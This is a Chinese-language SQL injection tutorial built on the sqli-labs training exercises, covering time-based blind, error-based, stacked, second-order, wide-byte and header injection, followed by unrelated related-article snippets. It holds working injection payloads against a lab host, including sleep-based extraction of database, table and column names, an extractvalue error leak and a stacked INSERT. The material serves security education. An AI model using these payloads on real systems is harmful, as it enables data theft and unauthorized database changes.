SQL注入-中篇

news2024/11/24 22:25:01

SQL盲注

一、时间盲注

模拟环境:Less-9

  1. 概述

延迟注入,一种盲注的手法,提交对执行时间敏感的sql语句,通过执行时间的长短来判断是否执行成功。

  1. 时间注入函数
sleep()
if()
ascii()
substring()
length()
mid()

判断是否存在延时注入(Less-9)
  1. 源SQL:SELECT * FROM users WHERE id='$id' LIMIT 0,1
  2. 判断方式一
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and sleep(5) -- 

# 注入

http://10.196.93.67/sqli-labs/Less-9/?id=1' and sleep(5) --

  1. 判断方式二
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and if(1=1,sleep(4),1) -- 

#注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(1=1 ,sleep(5),1) -- 

image.png

查询当前数据库的长度

结果为:8位

# SQL 
 select * from `security`.users where id ="1" and if((select length(database()))=8,sleep(4),1) -- 
 #注入
 http://10.196.93.67/sqli-labs/Less-9/?id=1' and if( (select length(database()))=8 ,sleep(5),1) -- 

image.png

查询当前数据库名
#sql 
select * from `security`.users where id = "1"  and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1);

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1) -- 

image.png

查询当前数据库表的数量
#sql
select * from `security`.users where id = "1" and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1);

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1) -- 

image.png

查询当前数据库表的名称
# sql
select * from `security`.users where id = "1" and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1);

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1) -- 

image.png

查询当前数据库users表的字段个数
# sql
select * from `security`.users where id = "1" and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1)

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1) -- 

image.png

查询当前数据库users表的字段名称
# sql
select * from `security`.users where id = "1" and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1)
# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1) -- 

image.png

二、报错注入

概述

报错注入是将mysql存在的函数,通过编写错误的SQL语句,从而得到需要的查询结果。

使用场景
  1. 能够将SQL报错信息展示到页面上
  2. 使用mysql自带的函数,通过错误的使用,导致语法被执行
利用函数
floor() #重点
extractvalue() #重点
updatexml() # 重点
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()

报错注入-固定写法

extractvalue()
  1. 示例
#SQL语句
select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- 
# 结果:
/*
[SQL]select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- 

[Err] 1105 - XPATH syntax error: '~root@localhost~'

*/

floor()
  1. 概述

floor报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致查询临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且抛出的SQL语句执行后的结果。

  1. 函数作用:
    1. floor() 向下取整
select floor(-1.8)  # -2
select floor(1.1) # 1
select floor(1.8) # 1
  1. count(): 计数
  2. concat() : 将字符连接
  3. rand():伪随机函数(当该函数传入参数时,返回的值就是固定的,没有传参就是随机的)
select rand(); # 值是随机的
select rand(1);# 第一次随机值是多少,后面在执行也是第一次返回的值
  1. group by 分组
# 示例 对username字段进行分组
select count(*) ,username from `security`.users group by username;
# 结果:

image.png

updataxml()

image.png

堆叠注入

一、原理

php方法:mysql_multi_query()
支持多条sql语句同时执行,通过分号分隔,成堆的执行sql语句

select user();select database();

二、Less-38

# sql
select * from users; insert into users(id,username,password) value(22,"a","e");

# 注入
http://10.196.93.67/sqli-labs/Less-38/?id=1' ; insert into users (id,username,password) value(33,"v","v") -- 

image.png

二次注入

一、利用场景

  1. 能够将恶意SQL存入到数据库中
  2. 保证在网页方可以引用该数据

二、Less-24

  1. 万能密码
    1. admin ' and 1=1 #
#sql
select * from `security`.users union select 1,user(),database();
# 在注册用户名和密码时,用户名输入框输入SQL: v ' union select 1,user(),database();

image.png

宽字节注入

一、原理

网站对注入SQL点添加了过滤条件,不能添加单引号,宽字节注入就是为了绕过检测过滤的。

二、注入条件

  1. 条件一
    1. 数据库查询设置为GBK编码
  2. 条件二
    1. 使用了addslashes()mysql_real_escape_string()/mysql_escape_string()之类的函数

三、Less-36

尝试使用%81来检测
image.png

HTTP请求头注入

Useragent注入(Less-18)

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1836497.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何解决 NumPy 无法计算其中一个 5 元素列表的标准差的问题

问题背景 在使用 NumPy 计算统计结果时发现,NumPy 能够接受原始数据列表来计算标准差,却无法接受经过计算后的结果列表。尝试将 std(f10) 替换为 std(solf10),但引发了错误:AttributeError: Float object has no attribute sqrt。…

【前端】 nvm安装管理多版本node、 npm install失败解决方式

【问题】If you believe this might be a permissions issue, please double-check the npm ERR! permissio或者Error: EPERM: operation not permitted, VScode中npm install或cnpm install报错 简单总结,我们运行npm install 无法安装吧包,提示权限问题…

Apache Royale

Apache Royale 顶级项目 Apache Royale 之前adobe的flex,由于浏览器flash,安全沙箱问题,逐步退出市场,当年flex也就是AS3,浏览器统一兼容问题又停止了。 接着要说明一点,HTML5的自适应是在flex之后&#x…

【正则表达式】入门

参考视频:10分钟快速掌握正则表达式_哔哩哔哩_bilibili 这个网站用来测试写的正则表达式效果:regex101: build, test, and debug regex 示例: 限定符 ? 表示前一个字符可有可无 比如这里输入:de? 匹配结果可以得到d和de * 前…

数据安全未来之路,天空卫士荣誉领榜《中国数据安全50强(2024)》

《中国数据安全50强(2024)》 数世咨询首份《中国数据安全50强(2024)》报告发布。天空卫士凭借其卓越的技术创新、市场领导力、业务收入能力和企业发展能力,在众多竞争者中脱颖而出,荣登50强榜单&#xff0…

26 红黑树

目录 1.概念 2.性质 3.节点定义 4.结构 5.插入 6.验证 7.删除 8.红黑树和avl树比较 9.应用 概念 是一种二叉搜索树,但在每个节点上增加一个存储位表示节点的颜色,可以是red或black。通过对任何一条从根到叶子的路径上各个节点着色方式的限制&#xff…

【嵌入式】适配大多数STM32的最小系统设计

大多数的参赛作品以及毕业设计中都仅仅简单的使用STM32F103最小系统板加上洞洞板或面包板。这样的设计虽然可以进行功能演示,但是由于市面上的最小系统板太过简单,并没有发挥出STM32系列MCU的强大功能,而且看起来很不美观,为了在参…

排序——快速排序

目录 思想 演示 代码实现 解释 优化 三数取中 小区间优化 补充 挖坑法 双指针法 非递归实现 思想 快速排序是一种二叉树结构的交换排序方法。 基本思想为:任取待排序元素序列中的某元素作为基准值,按照该排序码将待排序集合分割成两子序列&am…

从零开始理解 XML 和 JSON 的区别

在这篇文章中,我们将深入探讨XML和JSON这两种数据格式的关键异同点,以便读者可以根据项目需求做出明智的技术选择。 了解XML XML(Extensible Markup Language)是一种用于数据定义的标记语言,最初由万维网联盟&#x…

【调试笔记-20240618-Windows-pnpm 更新出现 Cannot find module 问题的解决方法】

调试笔记-系列文章目录 调试笔记-20240618-Windows-pnpm 更新出现 Cannot find module 问题的解决方法 文章目录 调试笔记-系列文章目录调试笔记-20240618-Windows-pnpm 更新出现 Cannot find module 问题的解决方法 前言一、调试环境操作系统:Windows 10 专业版调…

烂笔头笔记:为JDK安装Charles证书,让你的请求能够像在浏览器中那样被抓包

为什么要为JDK安装Charles证书 众所周知,https就是为了防止中间过程被拦截从而导致数据泄密的。若强行加入Charles代理,数据被解密后再被其重新加密,数据已经被“破坏”,客户端从而拒绝建立连接或解析内容。 #mermaid-svg-ksLo5W…

零样本学习及应用

传统的图像分类任务只是期望模型可以预测未见过图像的类别,而零样本学习则旨在预测从未见过的类别。对于原始图像分类任务来说,为每个类别收集大量训练数据对于最终拥有一个稳健的模型非常重要。然而,要获得大量的标注数据并不总是那么容易。…

【Unity设计模式】观察者模式,发布订阅模式,事件总线

前言 最近在学习Unity游戏设计模式,看到两本比较适合入门的书,一本是unity官方的 《Level up your programming with game programming patterns》 ,另一本是 《游戏编程模式》 这两本书介绍了大部分会使用到的设计模式,因此很值得学习 本…

Redis小对象压缩

小对象压缩存储 如果Redis内部管理的集合数据结构很小,他会使用紧凑存储形式压缩存储。 Redis的ziplist是一个紧凑的字节数组结构,如下图所示,每个元素之间都是紧挨着的。 如果他存储的是hash结构,那么key和value会作为两个ent…

UE5 C++ 跑酷游戏练习 Part1

一.修改第三人称模板的 Charactor 1.随鼠标将四处看的功能的输入注释掉。 void ARunGANCharacter::SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) {// Set up action bindingsif (UEnhancedInputComponent* EnhancedInputComponent CastChecked&…

微服务开发与实战Day11 - 微服务面试篇

一、分布式事务 1. CAP定理 1998年,加州大学的计算机科学及Eric Brewer提出,分布式系统有三个指标: Consistency(一致性)Availability(可用性)Partition tolerance(分区容错性&am…

“Git之道:掌握常用命令,轻松管理代码“

目录 1. 初始化和配置 2. 提交和更新 3. 分支和合并 4. 查看和比较 5. 远程仓库 6. 文件操作命令 1. 初始化和配置 git init:在当前目录初始化一个新的Git仓库git config:配置Git的全局或局部选项git clone:从远程仓库克隆一个本地副本…

MySQL基础——函数和约束

目录 1函数 1.1字符串函数 1.2数值函数 1.3日期函数 1.4流程函数 2约束 2.1约束概述和演示 2.2外键约束(表连接键) 1函数 函数是指一段可以直接被另一段程序调用的程序或代码。 1.1字符串函数 MySQL中内置了很多字符串函数,常用的…

【C语言习题】31.冒泡排序

文章目录 作业标题作业内容2.解题思路3.具体代码 作业标题 冒泡排序 作业内容 实现一个对整形数组的冒泡排序 2.解题思路 先了解一下冒泡排序: 两两相邻的元素进行比较,如果前面元素大于后面元素就交换两个元素的位置,最终的结果是最大的…

三星S20以上手机中的动态相片及其分解

三星S20以后的相机,相机拍出来的图片,用三星手机自带的“相册”打开之后,还会有“查看动态照片”的选项,点击之后就能查看拍照片时前后2秒左右的视频! 不知道这个功能是不是三星独有的。 这样得到的图片非常大。因为…